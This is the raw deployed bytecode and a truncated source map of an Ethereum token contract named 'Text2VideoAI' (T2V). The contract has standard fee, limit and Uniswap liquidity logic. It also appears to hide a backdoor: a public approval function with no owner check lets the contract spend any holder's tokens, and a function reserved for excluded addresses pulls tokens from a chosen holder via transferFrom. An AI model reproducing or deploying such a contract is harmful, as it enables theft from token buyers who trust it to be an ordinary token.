0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063b125038b1161006f578063b125038b146103a1578063bf474bed146103a9578063c876d0b9146103bf578063c9567bf9146103e0578063dd62ed3e146103f5578063e6f705311461043b57600080fd5b80638da5cb5b146102ec5780638f9a55c01461030a57806395d89b41146103205780639e161d9a1461034c578063a0ef91df1461036c578063a9059cbb1461038157600080fd5b8063313ce56711610108578063313ce5671461022057806349bd5a5e1461023c57806370a0823114610274578063715018a6146102aa578063751039fc146102c15780637d1db4a5146102d657600080fd5b806306fdde0314610150578063095ea7b3146101975780630faee56f146101c757806318160ddd146101eb57806323b872dd1461020057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600c81526b5465787432566964656f414960a01b60208201525b60405161018e91906115d1565b60405180910390f35b3480156101a357600080fd5b506101b76101b2366004611634565b61045b565b604051901515815260200161018e565b3480156101d357600080fd5b506101dd60125481565b60405190815260200161018e565b3480156101f757600080fd5b506101dd610472565b34801561020c57600080fd5b506101b761021b366004611660565b610493565b34801561022c57600080fd5b506040516009815260200161018e565b34801561024857600080fd5b50600f5461025c906001600160a01b031681565b6040516001600160a01b03909116815260200161018e565b34801561028057600080fd5b506101dd61028f3660046116a1565b6001600160a01b031660009081526017602052604090205490565b3480156102b657600080fd5b506102bf6104e4565b005b3480156102cd57600080fd5b506102bf610561565b3480156102e257600080fd5b506101dd60155481565b3480156102f857600080fd5b506000546001600160a01b031661025c565b34801561031657600080fd5b506101dd60145481565b34801561032c57600080fd5b506040805180820190915260038152622a192b60e91b6020820152610181565b34801561035857600080fd5b506102bf610367366004611634565b610620565b34801561037857600080fd5b506102bf61086f565b34801561038d57600080fd5b506101b761039c366004611634565b6108d2565b6102bf6108df565b3480156103b557600080fd5b506101dd60135481565b3480156103cb57600080fd5b506010546101b790600160b01b900460ff1681565b3480156103ec57600080fd5b506102bf610be8565b34801561040157600080fd5b506101dd6104103660046116be565b6001600160a01b03918216600090815260166020908152604080832093909416825291909152205490565b34801561044757600080fd5b506101b7610456366004611634565b610c44565b6000610468338484610c4e565b5060015b92915050565b60006104806009600a6117f1565b61048e90633b9aca00611800565b905090565b60006104a0848484610cd5565b6001600160a01b0384166000908152601660209081526040808320338085529252909120546104da9186916104d590866111bb565b610c4e565b5060019392505050565b6000546001600160a01b031633146105175760405162461bcd60e51b815260040161050e90611817565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461058b5760405162461bcd60e51b815260040161050e90611817565b6105976009600a6117f1565b6105a590633b9aca00611800565b6015556105b46009600a6117f1565b6105c290633b9aca00611800565b6014556010805460ff60b01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ff6009600a6117f1565b61060d90633b9aca00611800565b60405190815260200160405180910390a1565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561068a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ae919061184c565b816000815181106106c1576106c1611869565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106106f5576106f5611869565b60200260200101906001600160a01b031690816001600160a01b03168152505060008160018151811061072a5761072a611869565b602090810291909101810151336000908152601990925260409091205490915060ff166107c157600e5460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de9590859061078a9060009087908a9042906004016118c3565b6000604051808303818588803b1580156107a357600080fd5b505af11580156107b7573d6000803e3d6000fd5b5050505050610869565b806001600160a01b03166323b872dd85846001815181106107e4576107e4611869565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018690526064016020604051808303816000875af1158015610843573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086791906118f8565b505b50505050565b6010546040516000916001600160a01b03169047908381818185875af1925050503d80600081146108bc576040519150601f19603f3d011682016040523d82523d6000602084013e6108c1565b606091505b50509050806108cf57600080fd5b50565b6000610468338484610cd5565b6000546001600160a01b031633146109095760405162461bcd60e51b815260040161050e90611817565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610991919061184c565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a17919061184c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a88919061184c565b600f80546001600160a01b0319166001600160a01b03928316908117909155600e5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1391906118f8565b50306000818152601660209081526040808320600e80546001600160a01b039081168652918452828520600019905554858552601790935292205491169163f305d719913491906040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610bbe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610be3919061191a565b505050565b6000546001600160a01b03163314610c125760405162461bcd60e51b815260040161050e90611817565b601054600160a01b900460ff1615610c2957600080fd5b6010805463ff0000ff60a01b1916630100000160a01b179055565b6000306104da8482855b6001600160a01b038316610c6157600080fd5b6001600160a01b038216610c7457600080fd5b6001600160a01b0383811660008181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce857600080fd5b6001600160a01b038216610cfb57600080fd5b60008111610d0857600080fd5b600080546001600160a01b03858116911614801590610d3557506000546001600160a01b03848116911614155b1561107857610d576064610d51610d4a611204565b8590611242565b906112c4565b601054909150600160a01b900460ff16610db3576001600160a01b03841660009081526019602052604090205460ff1680610daa57506001600160a01b03831660009081526019602052604090205460ff165b610db357600080fd5b601054600160b01b900460ff1615610e2457600e546001600160a01b03848116911614801590610df15750600f546001600160a01b03848116911614155b15610e2457326000908152601860205260409020544311610e1157600080fd5b3260009081526018602052604090204390555b600f546001600160a01b038581169116148015610e4f5750600e546001600160a01b03848116911614155b8015610e7457506001600160a01b03831660009081526019602052604090205460ff16155b15610eef57601554821115610e8857600080fd5b60145482610eab856001600160a01b031660009081526017602052604090205490565b610eb59190611948565b1115610ec057600080fd5b600c8054906000610ed08361195b565b9190505550600b54600c541115610eef576010805460ff60b01b191690555b600f546001600160a01b038481169116148015610f1557506001600160a01b0384163014155b15610f2d57610f2a6064610d51610d4a611306565b90505b3060009081526017602052604090205460135460105490821190600160a81b900460ff16158015610f675750601054600160b81b900460ff165b8015610f805750600f546001600160a01b038681169116145b8015610f895750805b8015610fae57506001600160a01b03861660009081526019602052604090205460ff16155b8015610fd357506001600160a01b03851660009081526019602052604090205460ff16155b15611075576011546001600160a01b0316600090815260176020526040812054611002906103e8905b90611242565b9050600061101b826012546111bb90919063ffffffff16565b90506000611029858361133d565b90504761103e611039898461133d565b611352565b600061105e6064610d51600d54610ffc86476111bb90919063ffffffff16565b9050801561106f5761106f816114cc565b50505050505b50505b80156110f25730600090815260176020526040902054611098908261150a565b30600081815260176020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110e99085815260200190565b60405180910390a35b6001600160a01b03841660009081526017602052604090205461111590836111bb565b6001600160a01b03851660009081526017602052604090205561115a61113b83836111bb565b6001600160a01b0385166000908152601760205260409020549061150a565b6001600160a01b0380851660008181526017602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111a485856111bb565b60405190815260200160405180910390a350505050565b60006111fd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611569565b9392505050565b6000600a54600c5411611218575060085490565b600a54600c5411801561122f5750600654600c5411155b1561123b575060045490565b5060025490565b6000826000036112545750600061046c565b60006112608385611800565b90508261126d8583611974565b146111fd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050e565b60006111fd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a3565b6000600a54600c541161131a575060075490565b600954600c541180156113315750600554600c5411155b1561123b575060035490565b600081831161134c57826111fd565b50919050565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061139a5761139a611869565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611417919061184c565b8160018151811061142a5761142a611869565b6001600160a01b039283166020918202929092010152600e546114509130911684610c4e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611489908590600090869030904290600401611996565b600060405180830381600087803b1580156114a357600080fd5b505af11580156114b7573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611506573d6000803e3d6000fd5b5050565b6000806115178385611948565b9050838110156111fd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050e565b6000818484111561158d5760405162461bcd60e51b815260040161050e91906115d1565b50600061159a84866119d2565b95945050505050565b600081836115c45760405162461bcd60e51b815260040161050e91906115d1565b50600061159a8486611974565b600060208083528351808285015260005b818110156115fe578581018301518582016040015282016115e2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108cf57600080fd5b6000806040838503121561164757600080fd5b82356116528161161f565b946020939093013593505050565b60008060006060848603121561167557600080fd5b83356116808161161f565b925060208401356116908161161f565b929592945050506040919091013590565b6000602082840312156116b357600080fd5b81356111fd8161161f565b600080604083850312156116d157600080fd5b82356116dc8161161f565b915060208301356116ec8161161f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561174857816000190482111561172e5761172e6116f7565b8085161561173b57918102915b93841c9390800290611712565b509250929050565b60008261175f5750600161046c565b8161176c5750600061046c565b8160018114611782576002811461178c576117a8565b600191505061046c565b60ff84111561179d5761179d6116f7565b50506001821b61046c565b5060208310610133831016604e8410600b84101617156117cb575081810a61046c565b6117d5838361170d565b80600019048211156117e9576117e96116f7565b029392505050565b60006111fd60ff841683611750565b808202811582820484141761046c5761046c6116f7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561185e57600080fd5b81516111fd8161161f565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156118b85781516001600160a01b031687529582019590820190600101611893565b509495945050505050565b8481526080602082015260006118dc608083018661187f565b6001600160a01b03949094166040830152506060015292915050565b60006020828403121561190a57600080fd5b815180151581146111fd57600080fd5b60008060006060848603121561192f57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561046c5761046c6116f7565b60006001820161196d5761196d6116f7565b5060010190565b60008261199157634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a0604082015260006119b560a083018661187f565b6001600160a01b0394909416606083015250608001529392505050565b8181038181111561046c5761046c6116f756fea264697066735822122007e61ce3b2dcdf2a433e2c498cdd24909893f67a833df32f9f03e272568d347164736f6c63430008110033

Deployed Bytecode Sourcemap

3805:10289:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5653:115;;;;;;;;;;-1:-1:-1;5755:5:0;;;;;;;;;;;;-1:-1:-1;;;5755:5:0;;;;5653:115;;;;;;;:::i;:::-;;;;;;;;9973:193;;;;;;;;;;-1:-1:-1;9973:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9973:193:0;1023:187:1;5009:48:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5009:48:0;1215:177:1;6071:136:0;;;;;;;;;;;;;:::i;8708:301::-;;;;;;;;;;-1:-1:-1;8708:301:0;;;;;:::i;:::-;;:::i;6215:115::-;;;;;;;;;;-1:-1:-1;6215:115:0;;4813:1;2000:36:1;;1988:2;1973:18;6215:115:0;1858:184:1;4510:28:0;;;;;;;;;;-1:-1:-1;4510:28:0;;;;-1:-1:-1;;;;;4510:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4510:28:0;2047:203:1;5903:160:0;;;;;;;;;;-1:-1:-1;5903:160:0;;;;;:::i;:::-;-1:-1:-1;;;;;6037:18:0;6005:7;6037:18;;;:9;:18;;;;;;;5903:160;3650:148;;;;;;;;;;;;;:::i;:::-;;8476:224;;;;;;;;;;;;;:::i;5184:49::-;;;;;;;;;;;;;;;;3436:79;;;;;;;;;;-1:-1:-1;3474:7:0;3501:6;-1:-1:-1;;;;;3501:6:0;3436:79;;5126:51;;;;;;;;;;;;;;;;5776:119;;;;;;;;;;-1:-1:-1;5880:7:0;;;;;;;;;;;;-1:-1:-1;;;5880:7:0;;;;5776:119;;10331:557;;;;;;;;;;-1:-1:-1;10331:557:0;;;;;:::i;:::-;;:::i;10174:149::-;;;;;;;;;;;;;:::i;9017:199::-;;;;;;;;;;-1:-1:-1;9017:199:0;;;;;:::i;:::-;;:::i;6728:598::-;;;:::i;5064:55::-;;;;;;;;;;;;;;;;4653:39;;;;;;;;;;-1:-1:-1;4653:39:0;;;;-1:-1:-1;;;4653:39:0;;;;;;8301:167;;;;;;;;;;;;;:::i;9502:184::-;;;;;;;;;;-1:-1:-1;9502:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;9651:18:0;;;9619:7;9651:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9502:184;7447:191;;;;;;;;;;-1:-1:-1;7447:191:0;;;;;:::i;:::-;;:::i;9973:193::-;10075:4;10097:39;3093:10;10120:7;10129:6;10097:8;:39::i;:::-;-1:-1:-1;10154:4:0;9973:193;;;;;:::o;6071:136::-;6160:7;4872:15;4813:1;4872:2;:15;:::i;:::-;4856:31;;:13;:31;:::i;:::-;6185:14;;6071:136;:::o;8708:301::-;8833:4;8855:36;8865:6;8873:9;8884:6;8855:9;:36::i;:::-;-1:-1:-1;;;;;8933:19:0;;;;;;:11;:19;;;;;;;;3093:10;8933:33;;;;;;;;;8902:77;;8911:6;;8933:45;;8971:6;8933:37;:45::i;:::-;8902:8;:77::i;:::-;-1:-1:-1;8997:4:0;8708:301;;;;;:::o;3650:148::-;3563:6;;-1:-1:-1;;;;;3563:6:0;3093:10;3563:22;3555:67;;;;-1:-1:-1;;;3555:67:0;;;;;;;:::i;:::-;;;;;;;;;3757:1:::1;3741:6:::0;;3720:40:::1;::::0;-1:-1:-1;;;;;3741:6:0;;::::1;::::0;3720:40:::1;::::0;3757:1;;3720:40:::1;3788:1;3771:19:::0;;-1:-1:-1;;;;;;3771:19:0::1;::::0;;3650:148::o;8476:224::-;3563:6;;-1:-1:-1;;;;;3563:6:0;3093:10;3563:22;3555:67;;;;-1:-1:-1;;;3555:67:0;;;;;;;:::i;:::-;4872:15:::1;4813:1;4872:2;:15;:::i;:::-;4856:31;::::0;:13:::1;:31;:::i;:::-;8553:12;:22:::0;4872:15:::1;4813:1;4872:2;:15;:::i;:::-;4856:31;::::0;:13:::1;:31;:::i;:::-;8586:14;:24:::0;8621:20:::1;:28:::0;;-1:-1:-1;;;;8621:28:0::1;::::0;;8665:27:::1;4872:15;4813:1;4872:2;:15;:::i;:::-;4856:31;::::0;:13:::1;:31;:::i;:::-;8665:27;::::0;1361:25:1;;;1349:2;1334:18;8665:27:0::1;;;;;;;8476:224::o:0;10331:557::-;10427:16;;;10441:1;10427:16;;;;;;;;10403:21;;10427:16;;;;;;;;-1:-1:-1;;10464:15:0;;:22;;;-1:-1:-1;;;10464:22:0;;;;10403:40;;-1:-1:-1;;;;;;10464:15:0;;;;:20;;-1:-1:-1;10464:22:0;;;;;;;;;;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10454:4;10459:1;10454:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;10454:32:0;;;-1:-1:-1;;;;;10454:32:0;;;;;10515:4;10497;10502:1;10497:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;10497:23:0;;;-1:-1:-1;;;;;10497:23:0;;;;;10531:12;10553:4;10558:1;10553:7;;;;;;;;:::i;:::-;;;;;;;;;;;;10598:10;10579:30;;;;:18;:30;;;;;;;;10553:7;;-1:-1:-1;10579:30:0;;10574:307;;10626:15;;:195;;-1:-1:-1;;;10626:195:0;;-1:-1:-1;;;;;10626:15:0;;;;:66;;10700:6;;10626:195;;:15;;10747:4;;10770:2;;10791:15;;10626:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10574:307;;;10840:5;-1:-1:-1;;;;;10840:18:0;;10859:2;10863:4;10868:1;10863:7;;;;;;;;:::i;:::-;;;;;;;;;;;10840:39;;-1:-1:-1;;;;;;10840:39:0;;;;;;;-1:-1:-1;;;;;6708:15:1;;;10840:39:0;;;6690:34:1;6760:15;;6740:18;;;6733:43;6792:18;;;6785:34;;;6625:18;;10840:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10574:307;10392:496;;10331:557;;:::o;10174:149::-;10241:10;;10233:58;;10218:9;;-1:-1:-1;;;;;10241:10:0;;10265:21;;10218:9;10233:58;10218:9;10233:58;10265:21;10241:10;10233:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10217:74;;;10310:4;10302:13;;;;;;10206:117;10174:149::o;9017:199::-;9122:4;9144:42;3093:10;9168:9;9179:6;9144:9;:42::i;6728:598::-;3563:6;;-1:-1:-1;;;;;3563:6:0;3093:10;3563:22;3555:67;;;;-1:-1:-1;;;3555:67:0;;;;;;;:::i;:::-;6817:15:::1;:80:::0;;-1:-1:-1;;;;;;6817:80:0::1;6854:42;6817:80:::0;;::::1;::::0;;;6942:25:::1;::::0;;-1:-1:-1;;;6942:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;6854:42;6942:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6924:55:0::1;;6988:4;6995:15;;;;;;;;;-1:-1:-1::0;;;;;6995:15:0::1;-1:-1:-1::0;;;;;6995:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6924:94;::::0;-1:-1:-1;;;;;;6924:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7552:15:1;;;6924:94:0::1;::::0;::::1;7534:34:1::0;7604:15;;7584:18;;;7577:43;7469:18;;6924:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6908:13;:110:::0;;-1:-1:-1;;;;;;6908:110:0::1;-1:-1:-1::0;;;;;6908:110:0;;::::1;::::0;;::::1;::::0;;;7067:15:::1;::::0;7029:71:::1;::::0;-1:-1:-1;;;7029:71:0;;7067:15;::::1;7029:71;::::0;::::1;7805:51:1::0;-1:-1:-1;;7872:18:1;;;7865:34;6908:110:0;7029:29:::1;::::0;7778:18:1;;7029:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7133:4:0::1;7113:26;::::0;;;:11:::1;:26;::::0;;;;;;;7148:15:::1;::::0;;-1:-1:-1;;;;;7148:15:0;;::::1;7113:52:::0;;;;;;;;-1:-1:-1;;7113:72:0;;7198:15;6037:18;;;:9;:18;;;;;;7198:15;::::1;::::0;:31:::1;::::0;7237:9:::1;::::0;7133:4;7198:120:::1;::::0;-1:-1:-1;;;;;;7198:120:0::1;::::0;;;;;;-1:-1:-1;;;;;8269:15:1;;;7198:120:0::1;::::0;::::1;8251:34:1::0;8301:18;;;8294:34;7287:1:0::1;8344:18:1::0;;;8337:34;;;8387:18;;;8380:34;7291:10:0::1;8430:19:1::0;;;8423:44;7302:15:0::1;8483:19:1::0;;;8476:35;8185:19;;7198:120:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6728:598::o:0;8301:167::-;3563:6;;-1:-1:-1;;;;;3563:6:0;3093:10;3563:22;3555:67;;;;-1:-1:-1;;;3555:67:0;;;;;;;:::i;:::-;8388:11:::1;::::0;-1:-1:-1;;;8388:11:0;::::1;;;8387:12;8379:21;;;::::0;::::1;;8413:11;:18:::0;;-1:-1:-1;;;;8442:18:0;-1:-1:-1;;;8442:18:0;;;8301:167::o;7447:191::-;7520:4;7561;7577:31;7585:7;7561:4;7601:6;9694:271;-1:-1:-1;;;;;9801:19:0;;9793:28;;;;;;-1:-1:-1;;;;;9840:21:0;;9832:30;;;;;;-1:-1:-1;;;;;9873:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9925:32;;1361:25:1;;;9925:32:0;;1334:18:1;9925:32:0;;;;;;;9694:271;;;:::o;10996:2567::-;-1:-1:-1;;;;;11098:18:0;;11090:27;;;;;;-1:-1:-1;;;;;11136:16:0;;11128:25;;;;;;11181:1;11172:6;:10;11164:19;;;;;;11194:17;3501:6;;-1:-1:-1;;;;;11240:15:0;;;3501:6;;11240:15;;;;:32;;-1:-1:-1;3474:7:0;3501:6;-1:-1:-1;;;;;11259:13:0;;;3501:6;;11259:13;;11240:32;11236:1958;;;11301:30;11327:3;11301:21;11312:9;:7;:9::i;:::-;11301:6;;:10;:21::i;:::-;:25;;:30::i;:::-;11353:11;;11289:42;;-1:-1:-1;;;;11353:11:0;;;;11348:112;;-1:-1:-1;;;;;11393:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;11421:22:0;;;;;;:18;:22;;;;;;;;11393:50;11385:59;;;;;;11480:20;;-1:-1:-1;;;11480:20:0;;;;11476:312;;;11539:15;;-1:-1:-1;;;;;11525:30:0;;;11539:15;;11525:30;;;;:62;;-1:-1:-1;11573:13:0;;-1:-1:-1;;;;;11559:28:0;;;11573:13;;11559:28;;11525:62;11521:252;;;11650:9;11621:39;;;;:28;:39;;;;;;11663:12;-1:-1:-1;11613:63:0;;;;;;11728:9;11699:39;;;;:28;:39;;;;;11741:12;11699:54;;11521:252;11816:13;;-1:-1:-1;;;;;11808:21:0;;;11816:13;;11808:21;:55;;;;-1:-1:-1;11847:15:0;;-1:-1:-1;;;;;11833:30:0;;;11847:15;;11833:30;;11808:55;:82;;;;-1:-1:-1;;;;;;11868:22:0;;;;;;:18;:22;;;;;;;;11867:23;11808:82;11804:380;;;11930:12;;11920:6;:22;;11912:31;;;;;;11996:14;;11986:6;11970:13;11980:2;-1:-1:-1;;;;;6037:18:0;6005:7;6037:18;;;:9;:18;;;;;;;5903:160;11970:13;:22;;;;:::i;:::-;:40;;11962:49;;;;;;12032:9;:11;;;:9;:11;;;:::i;:::-;;;;;;12078:18;;12066:9;;:30;12062:107;;;12121:20;:28;;-1:-1:-1;;;;12121:28:0;;;12062:107;12210:13;;-1:-1:-1;;;;;12204:19:0;;;12210:13;;12204:19;:43;;;;-1:-1:-1;;;;;;12227:20:0;;12242:4;12227:20;;12204:43;12200:127;;;12280:31;12307:3;12280:22;12291:10;:8;:10::i;12280:31::-;12268:43;;12200:127;12392:4;12343:28;6037:18;;;:9;:18;;;;;;12451:17;;12488:6;;12428:40;;;;-1:-1:-1;;;12488:6:0;;;;12487:7;:22;;;;-1:-1:-1;12498:11:0;;-1:-1:-1;;;12498:11:0;;;;12487:22;:45;;;;-1:-1:-1;12519:13:0;;-1:-1:-1;;;;;12513:19:0;;;12519:13;;12513:19;12487:45;:56;;;;;12536:7;12487:56;:85;;;;-1:-1:-1;;;;;;12548:24:0;;;;;;:18;:24;;;;;;;;12547:25;12487:85;:112;;;;-1:-1:-1;;;;;;12577:22:0;;;;;;:18;:22;;;;;;;;12576:23;12487:112;12483:700;;;12654:7;;-1:-1:-1;;;;;12654:7:0;12620:21;6037:18;;;:9;:18;;;;;;12644:27;;12667:3;;12644:18;:22;;:27::i;:::-;12620:51;;12690:18;12711:30;12727:13;12711:11;;:15;;:30;;;;:::i;:::-;12690:51;;12760:21;12784:36;12788:20;12809:10;12784:3;:36::i;:::-;12760:60;-1:-1:-1;12860:21:0;12900:44;12917:26;12921:6;12760:60;12917:3;:26::i;:::-;12900:16;:44::i;:::-;12963:22;12988:66;13050:3;12988:57;13030:14;;12988:37;13014:10;12988:21;:25;;:37;;;;:::i;:66::-;12963:91;-1:-1:-1;13077:18:0;;13073:95;;13120:28;13133:14;13120:12;:28::i;:::-;12601:582;;;;;12483:700;11274:1920;;11236:1958;13210:13;;13206:168;;13283:4;13265:24;;;;:9;:24;;;;;;:39;;13294:9;13265:28;:39::i;:::-;13256:4;13238:24;;;;:9;:24;;;;;;;:66;;;;13322:40;;-1:-1:-1;;;;;13322:40:0;;;;;;;13352:9;1361:25:1;;1349:2;1334:18;;1215:177;13322:40:0;;;;;;;;13206:168;-1:-1:-1;;;;;13404:15:0;;;;;;:9;:15;;;;;;:27;;13424:6;13404:19;:27::i;:::-;-1:-1:-1;;;;;13386:15:0;;;;;;:9;:15;;;;;:45;13458:40;13476:21;:6;13487:9;13476:10;:21::i;:::-;-1:-1:-1;;;;;13458:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;13442:13:0;;;;;;;:9;:13;;;;;:56;;;;13514:41;;;13533:21;:6;13544:9;13533:10;:21::i;:::-;13514:41;;1361:25:1;;;1349:2;1334:18;13514:41:0;;;;;;;11079:2484;10996:2567;;;:::o;420:136::-;478:7;505:43;509:1;512;505:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;498:50;420:136;-1:-1:-1;;;420:136:0:o;7976:317::-;8017:7;8054:15;;8041:9;;:28;8037:82;;-1:-1:-1;8093:14:0;;;7976:317::o;8037:82::-;8147:15;;8135:9;;:27;:64;;;;;8179:20;;8166:9;;:33;;8135:64;8131:123;;;-1:-1:-1;8223:19:0;;;7976:317::o;8131:123::-;-1:-1:-1;8273:12:0;;;7976:317::o;758:246::-;816:7;840:1;845;840:6;836:47;;-1:-1:-1;870:1:0;863:8;;836:47;893:9;905:5;909:1;905;:5;:::i;:::-;893:17;-1:-1:-1;938:1:0;929:5;933:1;893:17;929:5;:::i;:::-;:10;921:56;;;;-1:-1:-1;;;921:56:0;;9527:2:1;921:56:0;;;9509:21:1;9566:2;9546:18;;;9539:30;9605:34;9585:18;;;9578:62;-1:-1:-1;;;9656:18:1;;;9649:31;9697:19;;921:56:0;9325:397:1;1010:132:0;1068:7;1095:39;1099:1;1102;1095:39;;;;;;;;;;;;;;;;;:3;:39::i;7646:322::-;7688:7;7725:15;;7712:9;;:28;7708:83;;-1:-1:-1;7764:15:0;;;7646:322::o;7708:83::-;7819:16;;7807:9;;:28;:66;;;;;7852:21;;7839:9;;:34;;7807:66;7803:126;;;-1:-1:-1;7897:20:0;;;7646:322::o;7334:105::-;7391:7;7421:1;7417;:5;7416:15;;7430:1;7416:15;;;-1:-1:-1;7426:1:0;7334:105;-1:-1:-1;7334:105:0:o;13571:483::-;5587:6;:13;;-1:-1:-1;;;;5587:13:0;-1:-1:-1;;;5587:13:0;;;13673:16:::1;::::0;;13687:1:::1;13673:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13673:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13673:16:0::1;13649:40;;13718:4;13700;13705:1;13700:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13700:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13744:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13744:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13700:7;;13744:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13734:4;13739:1;13734:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13734:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13809:15:::1;::::0;13777:62:::1;::::0;13794:4:::1;::::0;13809:15:::1;13827:11:::0;13777:8:::1;:62::i;:::-;13850:15;::::0;:196:::1;::::0;-1:-1:-1;;;13850:196:0;;-1:-1:-1;;;;;13850:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13931:11;;13850:15:::1;::::0;13973:4;;14000::::1;::::0;14020:15:::1;::::0;13850:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-